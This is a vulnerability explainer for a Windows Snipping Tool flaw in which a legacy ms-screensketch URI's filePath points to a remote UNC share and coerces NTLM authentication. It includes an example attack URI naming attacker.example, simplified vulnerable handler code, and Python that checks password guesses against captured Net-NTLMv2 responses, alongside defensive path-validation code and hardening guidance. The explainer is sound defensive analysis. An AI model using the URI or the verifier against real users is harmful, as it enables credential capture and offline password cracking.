CVE-2026-33829: Snipping tool NTLM vulnerability explained

CVE-2026-33829 is an interesting bug because the vulnerable component is not a network client in the usual sense. It is Windows Snipping Tool. On the surface, that sounds like the wrong place to find a credential exposure issue. Snipping Tool captures screenshots, edits images, and handles screen capture workflows. It is not an SMB client. It does not need to know how NTLM works. It does not need to contain credential handling code.

That is exactly why the bug is worth looking at.

The issue lives in the boundary between Windows URI activation, Snipping Tool’s protocol handler, path parsing, and Windows’ handling of UNC paths. The application-level mistake is allowing a caller-controlled URI parameter to become a file path. The operating system then does the rest.

Microsoft tracks CVE-2026-33829 as a Windows Snipping Tool spoofing vulnerability. Public reporting and researcher notes describe the issue as abuse of the legacy ms-screensketch: URI scheme, where a crafted URI causes Snipping Tool to process a filePath parameter pointing at a remote SMB share. Microsoft’s current Snipping Tool protocol documentation also confirms the broader model: Snipping Tool can be launched through custom URI schemes, and the newer documented ms-screenclip:// protocol now includes a structured request/response model, explicit redirect handling, file access tokens, and validation of redirect URIs including rejection of UNC paths. The older ms-screenclip: and ms-screensketch: schemes are documented as legacy and replaced by the newer protocol model. (Microsoft Security Response Center)

The important point is not the patch note. The important point is the design failure: a deep-link entry point accepted a path-like value from outside the application, and that value could describe a network resource.

A vulnerable URI shape looks like this:

ms-screensketch:edit?filePath=\\attacker.example\share\image.png&isTemporary=false&saved=true&source=Toast

That looks like application state: open Snipping Tool, edit a file, treat the file as already saved or temporary depending on the flags. The dangerous part is the value of filePath.

On Windows, \\attacker.example\share\image.png is not just a string. It is a Universal Naming Convention path. The moment it reaches the wrong file API, shell API, storage broker, image decoder, or framework helper, Windows treats it as a remote filesystem location.

That is the bug. Snipping Tool should have treated filePath as hostile URI input. Instead, in the vulnerable path, the value was allowed to travel far enough into the file-opening stack that Windows tried to resolve it.

Why does URI activation create a security trust boundary?

Windows URI activation exists so one application can ask another application to perform a task. A browser can invoke mailto:. A packaged app can register a custom protocol. Another process can call into that protocol with a URI. Microsoft’s current Snipping Tool documentation describes this model directly: an app launches Snipping Tool through a URI, Snipping Tool performs an operation, and the response is routed back through a callback URI or file access token in the newer protocol. (Microsoft Learn)

That is convenient, but it also means the URI parser is exposed to input from outside the process. Treating a protocol handler as “just a command-line shortcut” is how these bugs survive code review.

At runtime, the activation path is roughly equivalent to this:

protected override void OnActivated(IActivatedEventArgs args)
{
    if (args.Kind != ActivationKind.Protocol)
        return;

    var protocolArgs = (ProtocolActivatedEventArgs)args;
    Uri uri = protocolArgs.Uri;

    HandleScreenSketchUri(uri);
}

The application receives a Uri object and begins making decisions based on its scheme, host, path, and query parameters. That by itself is fine. The dangerous part is treating one of those query parameters as a trusted local filename.

A simplified vulnerable handler looks like this:

using System;
using System.IO;
using System.Web;

public sealed class ScreenSketchProtocolHandler
{
    public void Handle(Uri activationUri)
    {
        if (!activationUri.Scheme.Equals("ms-screensketch", StringComparison.OrdinalIgnoreCase))
            return;

        string filePath = HttpUtility.ParseQueryString(activationUri.Query)["filePath"];

        if (string.IsNullOrWhiteSpace(filePath))
            return;

        OpenImageForEditing(filePath);
    }

    private void OpenImageForEditing(string filePath)
    {
        byte[] imageBytes = File.ReadAllBytes(filePath);

        // Decode, render, annotate, save, etc.
        LoadIntoCanvas(imageBytes);
    }

    private void LoadIntoCanvas(byte[] imageBytes)
    {
        // UI-specific image handling removed.
    }
}

There is no explicit network code. No sockets. No SMB. No NTLM package calls. Nothing that looks like credential exposure. That is why the bug is easy to miss.

The application accepts a URI. The URI contains a filePath. The application opens the file. The path syntax determines what Windows does next.

What Windows path formats can trigger network access?

A common mistake in Windows client code is treating “path” as a narrow concept. Developers often think in terms of C:\Users\Alice\Pictures\image.png. Windows accepts much more than that.

These are all path-like inputs with different semantics:

C:\Users\Alice\Pictures\image.png
\\server\share\image.png
\\?\C:\Users\Alice\Pictures\image.png
\\?\UNC\server\share\image.png
file:///C:/Users/Alice/Pictures/image.png
file://server/share/image.png

A validation check that only asks “does this look like an image path?” misses the security boundary. The question should be: “Can this input cause the process to leave the local machine, resolve a remote authority, or invoke implicit authentication?”

In the vulnerable case, the interesting form is the UNC path:

\\server\share\object

That format is understood by the Windows I/O subsystem and the network redirector stack. When a process opens it, Windows routes the operation to the appropriate network provider. For SMB paths, this eventually reaches the SMB client redirector.

This tiny native program shows the abstraction leak:

#include <windows.h>
#include <stdio.h>

int wmain(int argc, wchar_t **argv)
{
    if (argc != 2) {
        fwprintf(stderr, L"usage: open.exe <path>\n");
        return 1;
    }

    HANDLE h = CreateFileW(
        argv[1],
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (h == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"CreateFileW failed: %lu\n", GetLastError());
        return 1;
    }

    wprintf(L"opened\n");
    CloseHandle(h);
    return 0;
}

Run it with a local file and it performs local I/O. Run it with a UNC path and the same line of code asks Windows to talk to a remote server.

That distinction is the core of CVE-2026-33829. Snipping Tool does not need to contain a credential leak. It only needs to pass attacker-controlled path data into a Windows API that honours UNC semantics.

Where does SMB authentication happen in this attack chain?

Once the file path is treated as a UNC path, Snipping Tool is largely out of the interesting part of the story. Windows attempts to access the remote share.

For SMB, the connection starts with transport establishment to the remote host, normally TCP/445. The client and server negotiate SMB dialect and capabilities. The session setup then carries authentication material.

NTLM is not a standalone network protocol with its own port. Microsoft describes NTLM as an embedded challenge-response authentication protocol. It creates and parses NTLM messages, but those messages are carried inside another protocol such as SMB or HTTP. The application protocol determines how the NTLM messages are framed and transported. (Microsoft Learn)

For this bug, that distinction matters. Snipping Tool does not “speak NTLM”. SMB speaks to the server, and NTLM messages are embedded inside SMB session setup when NTLM is selected.

A representative SMB authentication exchange looks like this:

SMB2 NEGOTIATE Request
SMB2 NEGOTIATE Response

SMB2 SESSION_SETUP Request
    SPNEGO
        NTLMSSP_NEGOTIATE

SMB2 SESSION_SETUP Response
    SPNEGO
        NTLMSSP_CHALLENGE

SMB2 SESSION_SETUP Request
    SPNEGO
        NTLMSSP_AUTH
            User
            Domain
            Workstation
            NTLMv2 response

SMB2 SESSION_SETUP Response

The server supplies the challenge. The client returns the response. If the server is controlled by the attacker, the attacker controls the challenge and receives the response.

This is why the bug is an authentication coercion issue rather than a file parsing issue. The file does not need to be a valid image. The valuable behaviour occurs before image rendering becomes relevant. The remote host only needs to get far enough through SMB negotiation to trigger authentication.

Why does this attack use NTLM instead of Kerberos?

In a normal Active Directory environment, Kerberos is preferred when the client can obtain a ticket for a service principal name associated with the target service. That requires the target service identity to make sense inside the domain’s Kerberos world.

An arbitrary host named in a URI parameter usually does not satisfy that condition. There may be no valid SPN. The server may not be domain joined. The name may resolve externally. The client may have no way to obtain a Kerberos service ticket for it.

NTLM remains the compatibility path. If local and domain policy allow NTLM for the target, Windows can negotiate NTLM instead. That is the behaviour being abused.

The vulnerable URI does not need to defeat Kerberos. It relies on the fact that the target is unsuitable for Kerberos, and that Windows environments often still allow NTLM fallback.

What data does CVE-2026-33829 actually leak?

The commonly used phrase is “NTLM hash leak”. That is imprecise enough to cause bad analysis.

The remote server does not receive the user’s plaintext password. It does not receive the NT hash stored in credential material. It receives an NTLM challenge-response value generated for that authentication exchange. In operational tooling this is normally represented as Net-NTLMv2.

A captured line is commonly represented in this shape:

username::domain:server_challenge:nt_proof_string:ntlmv2_blob

The server_challenge is chosen by the server. In this scenario, that means it can be chosen by the attacker-controlled SMB service. The nt_proof_string is generated by the client. The blob contains NTLMv2 client challenge data, including fields such as a timestamp, client challenge, and AV pairs. Microsoft documents the NTLMv2 client challenge structure as being transported inside the NTLMv2 response in the AUTHENTICATE_MESSAGE. (Microsoft Learn)

Microsoft’s NTLMv2 pseudocode explains the construction. First, the client derives a response key from the user’s password, username, and domain:

ResponseKeyNT = HMAC-MD5(
    MD4(UNICODE(password)),
    UNICODE(Uppercase(username) + userDomain)
)

Then the client computes the proof string over the server challenge and the NTLMv2 blob:

NTProofStr = HMAC-MD5(
    ResponseKeyNT,
    ServerChallenge || temp
)

NTChallengeResponse = NTProofStr || temp

Microsoft’s MS-NLMP documentation describes the fields used in this calculation, including the server challenge, client challenge, NT challenge response, and response keys. (Microsoft Learn)

The practical consequence is offline verifiability. If an attacker has the captured challenge-response material, they can test password candidates without talking to the victim again. For each candidate password, they derive the same response key, recompute the proof string, and compare it to the captured proof string.

This Python is a minimal implementation of the verification logic. It is included to show why the captured value is sensitive. It is not a listener, relay tool, or exploit.

import hmac
import hashlib
from Crypto.Hash import MD4


def utf16le(value: str) -> bytes:
    return value.encode("utf-16le")


def md4(data: bytes) -> bytes:
    h = MD4.new()
    h.update(data)
    return h.digest()


def hmac_md5(key: bytes, data: bytes) -> bytes:
    return hmac.new(key, data, hashlib.md5).digest()


def ntowfv2(password: str, username: str, domain: str) -> bytes:
    nt_hash = md4(utf16le(password))
    identity = utf16le(username.upper() + domain)
    return hmac_md5(nt_hash, identity)


def ntlmv2_ntproof(
    password: str,
    username: str,
    domain: str,
    server_challenge: bytes,
    ntlmv2_blob: bytes,
) -> bytes:
    response_key_nt = ntowfv2(password, username, domain)
    return hmac_md5(response_key_nt, server_challenge + ntlmv2_blob)


def verify_candidate(
    candidate_password: str,
    username: str,
    domain: str,
    server_challenge_hex: str,
    captured_ntproof_hex: str,
    ntlmv2_blob_hex: str,
) -> bool:
    calculated = ntlmv2_ntproof(
        password=candidate_password,
        username=username,
        domain=domain,
        server_challenge=bytes.fromhex(server_challenge_hex),
        ntlmv2_blob=bytes.fromhex(ntlmv2_blob_hex),
    )

    captured = bytes.fromhex(captured_ntproof_hex)
    return hmac.compare_digest(calculated, captured)

This is why password quality still matters when “only” Net-NTLMv2 is exposed. The capture is not immediately equivalent to the password, but it is enough to support offline guessing. The strength of the password determines how useful the capture is.

There is a second use case: relay. In a relay, the attacker does not crack the password. They pass NTLM messages between the coerced client and a target service that accepts NTLM. Whether that works depends on the target protocol and hardening controls such as SMB signing, LDAP signing, channel binding, and Extended Protection for Authentication. The Snipping Tool bug supplies the coerced authentication attempt; the environment determines whether that attempt can be relayed into something else.

Why is the URI handler the weak point in CVE-2026-33829?

The vulnerable design is easiest to see by comparing two models.

The first model passes a path directly through the protocol boundary:

public void HandleEditRequest(Uri uri)
{
    string filePath = GetQueryValue(uri, "filePath");

    using FileStream stream = File.OpenRead(filePath);

    DecodeAndRenderImage(stream);
}

This is fragile because filePath inherits the full Windows path grammar. The handler might have been written with local image editing in mind, but Windows will happily interpret remote path forms unless the application excludes them.

A stronger design does not accept raw paths from arbitrary URI callers. It accepts a brokered file token, an app-private identifier, or a constrained local file reference. Microsoft’s current Snipping Tool protocol documentation shows this direction in the newer capture flow: the response can include a file-access-token, which the caller redeems through SharedStorageAccessManager, rather than passing around arbitrary filesystem paths. (Microsoft Learn)

The difference is material. A raw path string gives the caller too much authority over filesystem semantics. A token narrows the operation. The application can decide what the token represents, how long it lives, whether it can be redeemed more than once, and which app can redeem it.

This is the sort of boundary a protocol handler should enforce:

using System;
using System.IO;

public static class FilePathPolicy
{
    public static string ValidateLocalImagePath(string supplied)
    {
        if (string.IsNullOrWhiteSpace(supplied))
            throw new ArgumentException("Missing filePath.");

        string decoded = Uri.UnescapeDataString(supplied);

        if (decoded.StartsWith(@"\\", StringComparison.Ordinal))
            throw new InvalidOperationException("UNC paths are not accepted.");

        if (decoded.StartsWith(@"//", StringComparison.Ordinal))
            throw new InvalidOperationException("Network path form is not accepted.");

        if (decoded.StartsWith(@"\\?\", StringComparison.Ordinal))
            throw new InvalidOperationException("Extended path syntax is not accepted from URI activation.");

        if (decoded.StartsWith("file:", StringComparison.OrdinalIgnoreCase))
            throw new InvalidOperationException("URI file schemes are not accepted as file paths.");

        string fullPath = Path.GetFullPath(decoded);

        if (!Path.IsPathFullyQualified(fullPath))
            throw new InvalidOperationException("Path must be fully qualified.");

        string extension = Path.GetExtension(fullPath);

        if (!extension.Equals(".png", StringComparison.OrdinalIgnoreCase)
            && !extension.Equals(".jpg", StringComparison.OrdinalIgnoreCase)
            && !extension.Equals(".jpeg", StringComparison.OrdinalIgnoreCase))
            throw new InvalidOperationException("Unsupported image extension.");

        return fullPath;
    }
}

That code is still only a narrow example. Real code should also consider reparse points, file broker semantics, package identity, caller identity, storage permissions, and whether URI activation should accept local paths at all. The key point is that Path.GetFullPath() is not a security boundary by itself. It normalises; it does not decide whether network access is acceptable.

This distinction matters because many bad fixes only canonicalise. Canonicalising \\server\share\image.png still leaves a UNC path. The application has to reject network-resolving forms before opening anything.

Why filePath parameter more dangerous than it looks?

A parameter named filePath tends to lower suspicion. It sounds local. It sounds like a UI feature. In Snipping Tool, it sounds like “open this screenshot for editing”.

On Windows, a file path is a capability request. It can ask for access to local storage, named devices, remote shares, extended-length paths, and provider-backed locations. If the path comes from a URI, the caller is asking the application to exercise that capability.

That is the under-the-hood failure in CVE-2026-33829. The protocol handler treated a caller-supplied value as data for an editing workflow. Windows treated the same value as a network resource.

The application’s mental model was likely:

filePath = image to open

The OS model is closer to:

filePath = provider-specific object name that may require I/O, network resolution, and authentication

Those are not the same model.

Does exploiting CVE-2026-33829 require a malicious image?

This point is important for technical readers. A lot of client-side bugs depend on parsing attacker-controlled content: malformed images, crafted documents, corrupted metadata, type confusion in a decoder, and so on.

CVE-2026-33829 does not need the image parser to be reached. The value is in the attempt to open the image path. SMB authentication can happen before any valid image bytes are returned.

A defensive test for this class should therefore instrument file and network access, not just image parsing. The question is not “does the image crash the decoder?” The question is “does the application attempt to resolve a remote path before it knows whether the file is safe, local, trusted, or even real?”

That is also why UI behaviour can be misleading. The victim may see Snipping Tool open normally, fail to load an image, or display an error. The credential exposure can already have happened by the time the UI reports anything useful.

How does this differ from a browser credential prompt?

With ordinary HTTP authentication in a browser, users may see a credential prompt depending on the authentication method, zone, configuration, and browser policy. With Windows integrated authentication to SMB, the user is usually not involved in the same way. The workstation already has a logon session. The SMB client can attempt authentication using that context.

That creates a bad security property for URI handlers. A user click intended to open an application can produce a background authentication event to a host the user never consciously selected as a file server.

The interaction requirement in the CVE does not mean the user approved authentication. It means the user had to activate the URI or content that caused Snipping Tool to process the URI.

Why does Microsoft’s newer Snipping Tool protocol matter?

Microsoft’s current Snipping Tool protocol documentation is useful because it shows a different shape of integration. The newer ms-screenclip:// model documents explicit hosts such as capture and discover, explicit paths such as /image and /video, structured parameters, callback routing through redirect-uri, status codes, correlation IDs, and file-access-token redemption for captured media. It also states that Snipping Tool validates redirect URIs and rejects UNC paths, control characters, whitespace issues, fragments, and recursive activation. (Microsoft Learn)

That does not tell us the exact patched diff for CVE-2026-33829. Microsoft has not published that level of implementation detail. It does show what safer protocol design looks like compared with legacy activation patterns.

The legacy documentation explicitly says the old ms-screenclip: and ms-screensketch: schemes were replaced by the new Snipping Tool protocol on 1 May 2025, and that the old method is deprecated and no longer supported. (Microsoft Learn)

From an engineering perspective, the change in model matters more than the branding of the scheme. A protocol that passes around raw filesystem paths has a wider attack surface than one that uses structured capture operations and brokered tokens.

What is the root cause of CVE-2026-33829?

The bug happens because four normal Windows features compose badly.

First, URI activation allows a local application to be launched with caller-supplied parameters.

Second, the legacy Snipping Tool handler accepted a parameter that represented a file path.

Third, Windows file APIs and framework storage helpers understand UNC paths as network locations.

Fourth, Windows can automatically authenticate to network resources using NTLM when policy permits it.

None of those features needs to be broken in isolation. The vulnerability appears when a remote or untrusted caller can influence the path value that reaches the file open.

In code review terms, the sink is not “SMB”. The sink is any operation that opens, probes, stats, decodes, thumbnails, preloads, validates, or existence-checks a path using Windows semantics.

These operations are all potentially dangerous with untrusted path input:

File.Exists(path);
File.OpenRead(path);
File.ReadAllBytes(path);
Image.FromFile(path);
new BitmapImage(new Uri(path));
StorageFile.GetFileFromPathAsync(path);
ShellExecute(..., path, ...);

Even checks that look harmless can trigger I/O. Depending on the API and path form, “does this file exist?” can become “contact this remote host and find out”.

A safe handler has to make the network decision before those calls.

What should a secure URI parser check for?

A robust URI handler for this class of feature should parse the activation URI as a protocol message, not as a loose string.

The scheme should be exact. The command should be from a fixed set. Each parameter should have a type, expected encoding, maximum length, and an allowed grammar. Parameters that carry URIs should be parsed as URIs. Parameters that carry paths should be treated with suspicion or avoided entirely.

A path validator should answer specific questions:

• Is this a UNC path?
• Is this a file:// URI that resolves to a remote authority?
• Is this extended path syntax?
• Can this path invoke a provider or redirector?
• Can this path cause network I/O?
• Can this path cause implicit authentication?
• Does the application actually need to support this form?

If the answer to any of the network questions is yes, the value should not be opened from an externally activated URI unless the product has a deliberate, authenticated, consented design for that behaviour.

Why does CVE-2026-33829 matter beyond Snipping Tool?

CVE-2026-33829 is not really about screenshots. It is about a local Windows application accepting a deep link and allowing one of its parameters to fall through into the Windows file-opening stack.

Once the parameter becomes a UNC path, Windows behaves normally. It contacts the remote server. SMB negotiates a session. NTLM may be selected. The server sends a challenge. The client returns a Net-NTLMv2 response derived from the logged-on user’s credentials. The application that started the chain does not need to understand any of that.

That is the under-the-hood issue. The dangerous moment is not image editing. It is the transition from URI parameter to path open.

The broader lesson is that Windows path handling is a security boundary. Any URI handler, document parser, preview feature, import wizard, image editor, or “open file” integration that accepts path-like input from outside the process needs to decide whether network paths are valid before the operating system is asked to resolve them. In CVE-2026-33829, that decision happened too late.